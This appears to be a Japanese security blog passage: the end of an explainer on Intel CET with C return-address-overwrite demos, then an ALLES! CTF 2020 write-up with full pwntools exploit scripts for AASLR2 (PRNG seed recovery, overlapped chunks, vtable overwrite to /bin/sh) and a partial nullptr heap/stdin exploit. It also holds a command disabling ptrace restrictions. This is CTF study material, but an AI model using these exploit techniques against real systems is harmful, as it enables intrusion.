a: ももいろテクノロジー

http://inaz2.hatenablog.com/entry/2015/10/30/024234

b: gresecurity

https://grsecurity.net/rap_faq

 

 

3: Shadow Stack

Shadow Stackスタックフレーム中に保存してある RA: return address を保護する

Shadow Stack は従来の関数スタックに追加で別のスタックを確保される。以降は call 命令の度に従来のスタックと Shadow Stack の両方にRAをpushする。そして関数から ret する際にはやはり従来のスタックと Shadow Stack の両方から値を pop する。ここでpopした値が同じであるならば、スタックフレーム中のRAが書き換えられていないことが保証されるというわけである。尚、ここでpopした値が異なる場合にはプロセッサは #CP: Control Protection Exception という例外を通知する。

尚、CPL3間でのジャンプならば述べたとおりだが、CPL3とCPL012間でのジャンプの場合には Shadow Stack は使用されず、代わりに MSRが用いられる。Shadow Stack は CPL毎に初期化され、CPLの切り替わり時に通常のスタックのように該当するCPLのスタックに切り替わる (SSP: Shadow Stack Pointer が書き換えられる)。

 

Shadow Stack の switch

Shadow Stack の切り替えには RSTORSSP / SAVEPREVSSP という一対の命令が用いられる。

RSTORSSP は現在の Shadow Stack から切り替え先の Shadow Stack に SSP を書き換える命令である。同時に、新しい Shadow Stack の最も上に有る shadow stack restore token正当性を確認する。shadow stack restore token は、それがpushされている Shadow Stack のアドレスを示しているはずである(下位2bitを除く)。そうでなければやはり#CP例外を通知する。正当性を確認した後はその shadow stack restore token を遷移元である Shadow Stack の SSP で書き換えて previous SSP token とする。

SAVEPREVSSP は以前の Shadow Stack へと SSP を切り替える命令である。現在の Shadow Stack のてっぺんから previous SSP token をpopし、これが示すアドレスに shadow stack restore token (previous SSP tokenである自分と1bit目を除き同じ)をpushする。

 

f:id:smallkirby:20200911065912p:plain

引用: https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf

f:id:smallkirby:20200911065928p:plain

引用: https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf




 

  

じゃあ、ShadowStackを書き換えればいいじゃん?

不可能である。

CETの実装に伴い、ページテーブルに Shadow Stack という属性が追加された。これによって Shadow Stack とマークされたページに対するアクセスは control flow を変える命令からしか不可能になった。mov / xsave 等の命令によるアクセスは SEGV となる。

スタックだろ? アンダーフローさせちまえよ

不可能である。

前述したように Shadow Stack を操作し得る命令は限られている。これらの命令を呼んでスタックをアンダーフローさせるには、RIPを操作して該当命令を複数回呼んでpopを繰り返す必要が有る。しかし、そもそもにこのRIPを操作することがCETによってできなくなっている。まさに R.I.P. ってね....

 

 

 

4: Indirect Branch Tracking

CPUは indirect jump/ call 命令を追跡する為に状態を保持する。jmp / call 命令の前にはIDLE 状態であり、これらの命令が呼ばれると WAIT_FOR_ENDBRANCH 状態に切りかわる。WAIT_FOR_ENDBRANCH 状態の時に ENDBR32/64 命令以外が実行されると、#CP例外を通知する。換言すれば、jmp/call による遷移先は endbr32/64 でなければならないということである。

ハードウェアは Indirect Branch Tracking のためにCPL3用とそれ以外用として2つの状態機械を構成する。どちらの状態機械を用いるかは、その時のCPLに依存する。CPL3とCPL012間での追跡については多少煩雑であるため、参考Cを参照されたい。

尚、endbr32/64 命令はCET非対応アーキテクチャに於いてはただの NOP となる。また、対応機であっても有効化されていない場合にはただの NOP として扱われる。更に、対応機且つ有効化されていたとしても状態機械の状態評価に使われる以外は NOP と同じで環境に全く影響しない。

既に gcc 君は対応するコードを吐いてくれる。

 

 

じゃあendbr64から始まるアドレスに不正にJMPすることはできるんだろ?

Yes.

RA を書き換えて Shadow Stack に引っかかったりしないような場合、例えば関数テーブルを書き換えるような場合には Indirect Branch Tracking には引っかからない。但し、chain を組むことはできないため単発でできるようなことに限られてしまう。

 

 

5: CETが有効になる条件

まずは CR4 レジスタCET bit(24th) がオンになっていることが必要である。

その上で Shadow Stack や Indirect Branch Tracking はMSRによって別々に機能制限をすることができ、例えば IA32_U_CET で CPR=3 の際のCETのコンフィグを行うことができる。この値は cpuid によって知ることができる。

 

 

 

6: 実際にIntel CET上でROPをしようとしてみる

Intel SDE によって Tiger Lake をエミュレートする。

まずは、参考Cからtar.bzファイルをダウンロードしてきて展開する。基本的にはそれだけだが、Linuxに於いては ptrace できる範囲が通常 1: restricted ptrace (非rootは子プロセスのみ・rootは任意)になっているため、以下で 0: classic ptrace permissions にする必要が有る。(次のrebootまで有効)

# echo 0 > /proc/sys/kernel/yama/ptrace_scope

 

まずは Shadow Stack の働きをチェックする。使用するプログラムは以下の通り。

#include<stdio.h>
#include<stdlib.h>

char mora[] = "     ` (#!    `   `....        ...,......TN.`\n      j@`  ``.JgHH=?\"\"W%`     TB\"7!(\"TY` db.\n    `-#!     _ue    ...      `.de.......  .M;\n   ` dD      .dMY9_T\"TMb      ?MY?!_??T#_  dR`\n     W]    `  j#      dD      .Wl     j@`` J@   < I am Winner!!!\n     W]  `    .N+   .(#!       ?N.. .(H'  .W%\n     db. +#WNx _TBD`?=     `     ?!(\"=   .d$\n     .Me Wm(d9       . .. .-. .,        .dD\n      .T\\ _!`       .TH#WHB7HMYWH%     .\"!\n";

void win(void){
  printf("%s", mora);
  exit(1);
}

void evil(void){
  char buf[0x10];
  printf("I am evil moratorium.\n");

  *(unsigned long*)(buf+0x28) = (unsigned long)((char*)&win + 0x4);
}


int main(int argc, char *argv[])
{
  printf("Start\n");

  evil();
  printf("CET is winner...\n");

  return 0;
}

evil() 関数に於いて自身の RA を win()+4 に書き換えている。

 

これを 非CET環境 (Ubuntu20.04 glibc2.32 kernel5.4.0-47-generic)とCET環境に於いて動かした場合のそれぞれの結果は以下である。

f:id:smallkirby:20200911072718p:plain

Shadow Stack kills ROP

落ちている。ROPが死んだ...

SDEでは -debug オプションをつけることで勝手に gdb server を建ててくれるため容易にデバッグができる。見てみたところ、win() の最初の命令を実行する直前で落ちている。SEGVで落ちてる理由は、知らん、なんやコレ。 

f:id:smallkirby:20200910222934p:plain

GDBデバッグ

 

エラーを見てみると以下のようになっている。 

f:id:smallkirby:20200911071526p:plain

error dump due to "Control flow error"

Shadow Stack は 0x40120f の ret に於いて 0x40119a(main) をpopしたが、通常のスタックからは 0x401234(win) をpopしたためにエラーになったという旨である。ROPは、CETによって殺されてしまったようだ...

 

 

また、同様にして Indirect Branch Tracking に引っかかるような以下のコードも考える。

#include<stdio.h>
#include<stdlib.h>

char mora[] = "     ` (#!    `   `....        ...,......TN.`\n      j@`  ``.JgHH=?\"\"W%`     TB\"7!(\"TY` db.\n    `-#!     _ue    ...      `.de.......  .M;\n   ` dD      .dMY9_T\"TMb      ?MY?!_??T#_  dR`\n     W]    `  j#      dD      .Wl     j@`` J@   < I am Winner!!!\n     W]  `    .N+   .(#!       ?N.. .(H'  .W%\n     db. +#WNx _TBD`?=     `     ?!(\"=   .d$\n     .Me Wm(d9       . .. .-. .,        .dD\n      .T\\ _!`       .TH#WHB7HMYWH%     .\"!\n";
void (*fp)();

void win(void){
  printf("%s", mora);
  exit(1);
}

void f1(void){
  printf("In f1\n");
  return;
}

void f2(void){
  printf("In f2\n");
  return;
}

void evil(void){
  char buf[0x10];
  printf("I am evil moratorium.\n");

  fp = ((char*)f2) + 4; // skip endbr
  fp();
  *(unsigned long*)(buf+0x28) = (unsigned long)((char*)&win + 0x4);
}

int main(int argc, char *argv[])
{
  printf("Start\n");

  fp = f1;
  evil();
  printf("CET is winner...\n");

  return 0;
}
    

関数ポインタを書き換えているが、その際に endbr を飛ばしている。この状態でのCET/非CET環境での実行結果は以下の通り。

f:id:smallkirby:20200911073003p:plain

IBT also kills ROP...

Control flow ENDBRANCH error detected だそうだ
 

 

 

7: Bypass

わからん。

思いつかない。

でも DEP が実装されたと思ったら ROP ができたわけだから、CET が実装されたらなんか exploit 出てくるやろ。頭いい人、頼んだわ。

 

 

8: アウトロ

悲しいね...

 

 

 

0: 参考

A: CET Specification. by Intel

https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf

B: CETのスライド. by H.J.Lu, Intel

https://www.linuxplumbersconf.org/event/2/contributions/147/attachments/72/83/CET-LPC-2018.pdf

C: Intel SDE

https://software.intel.com/content/www/us/en/develop/articles/intel-software-development-emulator.html

D: Blackhatのスライド

https://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Sun-How-to-Survive-the-Hardware-Assisted-Control-Flow-Integrity-Enforcement.pdf

E: Userland Emulation of CET using Intel SDE

https://software.intel.com/content/www/us/en/develop/articles/emulating-applications-with-intel-sde-and-control-flow-enforcement-technology.html

F: XSTATE Internals

https://windows-internals.com/cet-on-windows/

 

 

 

 

 

 

続く・・・

 

 

 

 

 

【pwn 35.0】ALLES! CTF 2020 - AASLR1 / AASLR2 / nullptr

keywords

customized ASLR / customized memory system / guess the seed / arbitrary NULL-byte write / overwrite mmap_threshold / adjucent mmaped region and libc-symbols

 

 

1: イントロ

いつぞや行われた ALLES! CTF 2020

最近CTFをしていなかったのですが、チームTSGとして参加して、結果は振るわず22位でした

pwn問をもう1個解き切っていれば5~7位分くらい上昇したので、実力不足です

本エントリではpwn問の AASLR1 / AASLR2 / nullptr の復習(writeupでは若干無いです、完全に解ききっていないやつが有るので)をしたいと思います

 

 

 

2: まず全体の感想

InterKosen CTFとの並行開催ということもあり、最初はALLES!の方とInterKosenの方をウロウロ行ったり来たりしていました。夜になるとチームの人たちがmeetに集まってきたので、本腰を入れてALLESのpwn問を解くことにしました。Cryptoとの合同問題があり、Cryptoパートを解いてもらっている間に長いお散歩をしました。Pwn問題にまで落とし込んでもらった後、その日は AASLR2 を解きました。解き終わるとmeetを抜けて寝ました。起きると、全くやる気がなくなっていたので、最近買ったギドラ本を読んでいました。最終日の深夜になると、チームの人から nullptr を解きませんかと誘っていただいたので、meetに集まって終了時間(AM4:00)まで問題を解いていました。結構いい線まで言っていたので、解ききることができずに悔しかったです。

CTFは問題面もその他の面もかなり良かったと思います。

 

 

 

3: AASLR1/ AASLR2

問題概要

Author: liveoverflowの文字を見て、何故か笑顔になってしまいました

liveoverflowさんのYoutube動画は偶に見るので、芸能人に会った気分になりました

 

AASLR1Rev/Crypto問題、AASLR2Pwn問題でした

問題セットは両者ともに同じであり、前者は特定の条件を満たすとプログラム中の正規のロジックとして1つ目のFlagが得られ、後者は正規のロジックから外れてFlagを奪取します

ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1caebb4c4c5b9bb141671f3721daaabd26f49312, for GNU/Linux 3.2.0, not stripped
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

オレオレmalloc問題です

最初に mmap() で取得した領域から aslr_malloc() でユーザ用に領域を確保してくるのですが、この際に乱数生成器から得た乱数をもとにして確保するアドレスを決定します

この乱数生成器のシードはプログラムの最初に呼んだ time() の値だけです

また、確保した領域を管理する機構がないため、生成された乱数の値によっては overlapped chunk が作られることになります

 

乱数生成器の掌握 

さて、まずはこの乱数生成器が次に吐く乱数を予測できないことには始まりません

プログラム中には、dice() という関数によって生成される乱数のmod6 の値のみを任意に取得することができます

僕は数学が小学2年生の計算くらいしかできないので、他の人に任せていました。mod6のみで乱数生成器を掌握するのは難しいようで一旦詰まりましたが、time()を使っているのだから接続した時間の前後数秒をそれぞれシードにした乱数生成器をこちら側で用意し、dice() を振ってどの生成器の出力と一致するかを調べることで乱数生成器の状態を掌握することができました

 

pwn

乱数生成器の状態を掌握することで、aslr_malloc() によって確保されるchunkのアドレスが予測できるようになりました。このアドレスは前述したように数百回のmallocによって重複する可能性があります。そのため、手持ちの乱数生成器で何回目のaslr_malloc() によって衝突が起こるかを計算し、その分だけdice() を振ってやることで乱数調整をします

overlapped chunkを作ったら、ユーザデータのポインタを確保する配列が有るのでそれを良しなにいじりながら、ヒープ中に有るvtableをよしなにいじると、よしなになります

 

 

exploit

本exploitは @JP3BGY と作りました

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
from time import time
import sys
import socket,ssl

FILENAME = "./aaslr"
LIBCNAME = ""

hosts = ("7b00000009836e5ea6bc9e72.challenges.broker4.allesctf.net","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

realstate = None
ftable_off = None
entry_off = None

def hoge(ix):
  global c
  c.recvuntil("Item:\n")
  c.sendline(str(ix))

def td():
  global c
  hoge(1)
  c.recvuntil("Threw dice: ")
  return int(c.recvline().rstrip())

def _create(data):
  global c
  hoge(2)
  c.recvuntil("100):\n")
  c.send(data)

def _create_state_change(data):
  global realstate
  _create(data)
  realstate = prng(realstate)[1]

def _create_state_change_get_rand(data):
  global realstate
  _create(data)
  val, realstate = prng(realstate)
  return val


def _view(ix):
  global c
  hoge(3)
  c.recvuntil("):\n")
  c.sendline(str(ix))
  c.recvuntil(". ")
  return c.recvline().rstrip()

def _guess():
  global c
  raw_input("NOT IMPLEMENTED")

def prng(state):
    mask=(1<<64)-1
    a,b,c,d=state
    tmp1=a-((b>>5)|((b<<0x1b)&mask))
    tmp1&=mask
    a=b^((c>>0xf)|((c<<0x11)&mask))
    a&=mask
    tmp2=a+tmp1
    tmp2&=mask
    b=c+d
    b&=mask
    c=d+tmp1
    c&=mask
    d=tmp2
    return (tmp2,(a,b,c,d))

def get_malloc_offset(size):
    global realstate
    val, realstate = prng(realstate)
    return val % (0x10000 - size)

def dice(state):
    x,y=prng(state)
    return (x%6+1,y)

def guess_dice(nums):
  hoge(4)
  for i in range(0xf):
    c.recvline()
    c.sendline(str(nums[i]))

def send_many_dices(num):
  if num==0:
    return
  c.recvuntil("Item:\n")
  c.send("1\n"*num)

# 次にお望みのaddr-size~addrを吐くようになるまでdiceを振る
def set_recquestedd_state(req, size, aligend=None):
  global realstate
  global c
  counter = 0
  while True:
    val, realstate = prng(realstate)
    val = val%(0x10000-100)
    if aligend==None or (aligend!=None and val%8==aligend):
        if req-size<= val <=req:
          print("[+] FOUND({}): {}".format(hex(counter), hex(val)))
          print("[+] updating state...")
          '''
          for i in range(counter):
            if i%0x30==0:
                print("   {}".format(hex(i)))
            td()
          '''
          for i in range(counter//0x100):
            print("  sending... : {}".format(hex((i+1)*0x100)))
            send_many_dices(0x100)
          send_many_dices(counter%0x100)
          return val
    counter += 1


## exploit ###########################################

def exploit():
  global c
  global realstate
  global ftable_off
  global entry_off
  cons = 0xf1ea5eed

  nowtime=int(time())
  states = [ (cons,nowtime+i,nowtime+i,nowtime+i)for i in range(-30,31)]
  vptrs = []
  entrys = []
  for i in range(0x16):
    newstates=[]
    for j in states:
        x,y= prng(j)
        newstates.append(y)
        if i==0x14:
          vptrs.append(x)
        elif i==0x15:
          entrys.append(x)
    states=newstates

  while len(states)>1:
    newstates=[]
    newrnds=[]
    newentrys=[]
    x = td()
    for j in range(len(states)):
      i = states[j]
      xx,y=dice(i)
      if xx==x:
        newstates.append(y)
        newrnds.append(vptrs[j])
        newentrys.append(entrys[j])

    states=newstates
    vptrs = newrnds
    entrys = newentrys

  assert(len(states)==1)
  assert(len(vptrs)==1)
  assert(len(entrys)==1)
  realstate = states[0]

  # AASLR1 ####
  guessed = []
  for i in range(0xf):
    x,realstate = prng(realstate)
    x = x%6+1
    guessed += [x]
  guess_dice(guessed)


  # AASLR2 ####
  ftable_off = vptrs[0] % (0x10000 - 0x8)
  entry_off = entrys[0] % (0x10000 - 0x7f8)
  print("[+] ftable_off: {}".format(hex(ftable_off)))
  print("[+] entry_off: {}".format(hex(entry_off)))

  # create dummys
  _create_state_change("A"*0x50+"\n")
  _create_state_change("B"*0x50+"\n")
  _create_state_change("C"*0x50+"\n")

  #
  target_off = entry_off+8*4
  hoge_off = target_off+0x40 - set_recquestedd_state(target_off+0x40, 0x40, aligend=entry_off%8)
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  _create("X"*0x50 + "\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())

  fuck = []
  for i in range(0x20):
    fuck.append(_create_state_change_get_rand("Y"*8 + "\n") % (0x10000-100))
  vmaddr1 = unpack(_view(tmpix).ljust(8,b'\x00'))
  print("[+] get: {}".format(hex(vmaddr1)))
  print("[+] fuck: {}".format(hex(fuck[0])))

  # 諦め
  for i in range(len(fuck)):
    print("[+] fuck: {}".format(hex(fuck[i])))
    if (vmaddr1 - fuck[i])%0x100 == 0:
      mmbase = vmaddr1 - fuck[i]
      break
  print("[+] HEAP: {}".format(hex(mmbase)))
  print("[*] ftable: {}".format(hex(ftable_off + mmbase)))
  print("[*] ENTRY: {}".format(hex(entry_off + mmbase)))


  # ftableを読みに行く(textbase leak)
  target_off = entry_off
  hoge_off = target_off - set_recquestedd_state(target_off, 84)
  print("")
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  _create(b"A"*hoge_off + p64(ftable_off + mmbase)*((100-hoge_off)//8-1) + b"\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())

  throw_dice_addr = unpack(_view(0).ljust(8,b'\x00'))
  print("[+] throw_dice(): {}".format(hex(throw_dice_addr)))
  textbase = throw_dice_addr - 0x1584
  print("[+] textbase: {}".format(hex(textbase)))

  # overwrite ftable into system
  target_off = ftable_off
  hoge_off = target_off - set_recquestedd_state(target_off, 84-0x10)
  print("")
  print("[+] target: {}".format(hex(target_off)))
  print("[+] hoge_off: {}".format(hex(hoge_off)))
  #_create(b"A"*hoge_off + p64(textbase + 0x1905)*((100-hoge_off)//8-1) + b"\n")
  _create(b"A"*hoge_off + p64(textbase+0x1905)*4 + p64(textbase+0x1afc) + b"\n")
  c.recvuntil("at index ")
  tmpix = int(c.recvline().rstrip())
  
  # jmp to system via error_case() function's entry
  c.recvuntil("Item:\n")
  print("[!] invoking shell...")
  c.sendline("/bin/sh")

  #c.sendline("cat ./flag1")


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.verify_mode = ssl.CERT_REQUIRED
        context.check_hostname = True
        context.load_default_certs()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
        ssl_sock.connect((rhp1["host"],rhp1["port"]))
        c = remote.fromsocket(ssl_sock)
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

 

結果

f:id:smallkirby:20200907152006p:plain

ぬお

 

4. nullptr

問題概要

PartialRELROです 

ちょっと弄ってあげるだけ、AAR になります

ただし、その後できることは 「任意のアドレスの8byteをヌルクリアする」ことだけです

 

 

思考の道筋

本問題は @moratorium08 と一緒に解こうとしたため以下のアイディアやexploitにはモラさんのものが含まれてます

問題文にWelcome to the House Of I'm pretty sure this is not even a heap challenge(試訳: House of これはヒープ問ですら無いよ にようこそ) とあったので、heap問だと検討をつけて考えました

まず、mainループの間に実行されるのが scanf()/ printf()/ NULLクリア だけなので、ヌルクリアするべき対象は自然とstdin/stdout関係であると推察できます

scanf() はバッファリングのためにヒープ上のバッファを使います。このバッファのアドレスはstdin->__IO_buf_base に入っているのですが、この値がヌルクリアされた場合バッファが確保されていないと考えられて、malloc()を行います。よって、top のサイズを事前に小さくしてあげることで、次のscanf時にtop を拡張させることができます。更に、main_arena->top を部分的にNULLクリアしてあげることで 1/2048 の確率で次のtopがGOT領域と重なるところに確保されます。

scanf() の入力として任意の値を入力してやることで、勿論scanf自体はエラーを返しますが、バッファリングはちゃんとされるため、その領域に対して任意の入力をすることができるようになると考えました。尚、この手法はバッファリングに使うバッファのサイズ設定に環境依存し、0x1000未満だと成功します。

 

本番中はこの考えに懸けて、ローカルでシェルが取れましたが、リモートでとることは無理だろうということで、結局解ききることはできませんでした。 

 

【追記 20200908】

全く同じ方法でpwnできてる人がいたみたい

pwn-diaries.com

 

 

どうやら想定解っぽいもの

基本的には上に述べたことと同じアイディアですが、GOTではなく__malloc_hookを書き換えます。そのためには新しいstdinバッファがlibc symbolsよりも高位にきていなければならないため、mmap() でバッファを取得する必要があります。これは、mp_->mmap_threshold を予めヌルクリアしてから上述のようにmalloc()を呼ぶことで達成できます。あとは、確保した領域から__malloc_hookまでの間に有るデータの内破壊してはいけないものを正規の値で上書きしながら、__malloc_hookを書き換えるだけです。

但し、なんか環境依存っぽい要素が複数有るっぽぃ(自分の無知かもしれない)のと、昨日深夜4:00まで同じ問題を解いていたということの疲れもあり、まだPoCは完成していません。殆どやることはないですが、あとで完全なPoCを貼っておきます。

 

 

exploit: 途中まで

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import socket,ssl
import time

FILENAME = "./nullptr"
LIBCNAME = ""

hosts = ("7b0000000158d462b15a9bee.challenges.broker3.allesctf.net","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("> \n",timeout=1)
  c.sendline(str(ix))

'''
abc=0
def v(addr):
  global abc
  hoge(1)
  c.recvline()
  if addr==None:
    c.sendline("*")
  else:
    c.sendline(str(addr))
  if abc==3:
      c.interactive()
  _addr, val = c.recvline().rstrip().split(b": ")
  abc += 1
  return (int(_addr,16), int(val,16))
'''
def v(addr):
  hoge(1)
  c.recvuntil("\n",timeout=1)
  if addr==None:
    c.sendline("*")
  else:
    c.sendline(str(addr))
  tmp = c.recvline().rstrip().split(b": ") # なんで時々落ちるねん
  print(tmp)
  _addr, val = (tmp[0],tmp[1])
  return (int(_addr,16), int(val,16))

def n(addr):
  hoge(2)
  print("[+] NULLing OUT")
  c.recvline(timeout=0.1)
  c.sendline(str(addr))

def p(num):
  addr = num[0]
  val = num[1]
  print("[*] {}: {}".format(hex(addr), hex(val)))
  return addr, val


## exploit ###########################################

def _exploit():
  global c

  # leak each bases
  a1, v1 = p(v(None)) # first leaked stack addr
  a2, v2 = p(v(a1 - 0xd8)) # leak libc_start_main
  libcbase = v2 - 0x271e3
  mainstack_bottom = a1 - 0xe0 # main frame内の退避されたBPが置いてある場所
  a3, v3 = p(v(mainstack_bottom + 0x5*8)) # leak textbase
  main_addr = v3
  textbase = main_addr - 0x1bd
  print("[+] libcbase: {}".format(hex(libcbase)))
  print("[+] main stack bottom: {}".format(hex(mainstack_bottom)))
  print("[+] main: {}".format(hex(main_addr)))
  print("[+] textbase: {}".format(hex(textbase)))

  stdin_addr = libcbase + 0x1ea980
  stdout_addr = libcbase + 0x1eb6a0
  heap_base = p(v(stdin_addr + 8))[1] - 0x12a0 # ??? remoteでは違うかも(buf sizeが)
  print("[+] heap: {}".format(hex(heap_base)))
  raw_input("OK")

  # NULL clear mp_->mmap_threshold
  mp__addr = libcbase + 0x1ea280
  n(mp__addr + 0x10)

  # smallen old top's size
  oldtop = heap_base + 0x22b0
  n(oldtop + 9)

  raw_input("OK")

  # NULL clear stdin->__IO_buf_base and mmap
  n(stdin_addr + 7*8)
  c.interactive()
  leaked = p(v(stdin_addr + 8))[1]
  '''
  The bottom libc area is the target (in this case, fail)
    0x7fa216ac1000     0x7fa2168bd000 r-xp   1b1000 0      /glibc/2.30/64/lib/libc-2.30.so
    0x7fa2168bd000     0x7fa216abd000 ---p   200000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216abd000     0x7fa216ac1000 r--p     4000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216ac1000     0x7fa216ac3000 rw-p     2000 1b5000 /glibc/2.30/64/lib/libc-2.30.so
    0x7fa216ac3000     0x7fa216ac7000 rw-p     4000 0
  '''
  target = libcbase + 0x3b5000
  print("[+] target: {}".format(hex(target)))
  print("[+]       : {}".format(hex(leaked & 0xFFFFFFFF0000)))
  if leaked & 0xFFFFFFFF0000 != target:
    hoge(-1)
    print("[-] RETRY...\n")
    return False

  '''
  '''



def exploit():
  ret = False
  try:
    ret = _exploit()
  except ssl.SSLError:
    print("FUCK")
  return ret



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.verify_mode = ssl.CERT_REQUIRED
        context.check_hostname = True
        context.load_default_certs()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
        ssl_sock.connect((rhp1["host"],rhp1["port"]))
        c = remote.fromsocket(ssl_sock)
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])

    fail = True
    while fail:
      if exploit() == False:
        c.close()
        sleep(0.5)
        if len(sys.argv)>1:
          if sys.argv[1][0]=="d":
            cmd = """
              set follow-fork-mode parent
            """
            c = gdb.debug(FILENAME,cmd)
          elif sys.argv[1][0]=="r":
            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
            context.verify_mode = ssl.CERT_REQUIRED
            context.check_hostname = True
            context.load_default_certs()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
            ssl_sock.connect((rhp1["host"],rhp1["port"]))
            c = remote.fromsocket(ssl_sock)
          elif sys.argv[1][0]=="v":
            c = remote(rhp3["host"],rhp3["port"])
        else:
            c = remote(rhp2['host'],rhp2['port'])

    c.interactive()

 

 

 

5: アウトロ

 ねむい

 

 

 

 

 

 

 

 

 

 

 

 

 

続く...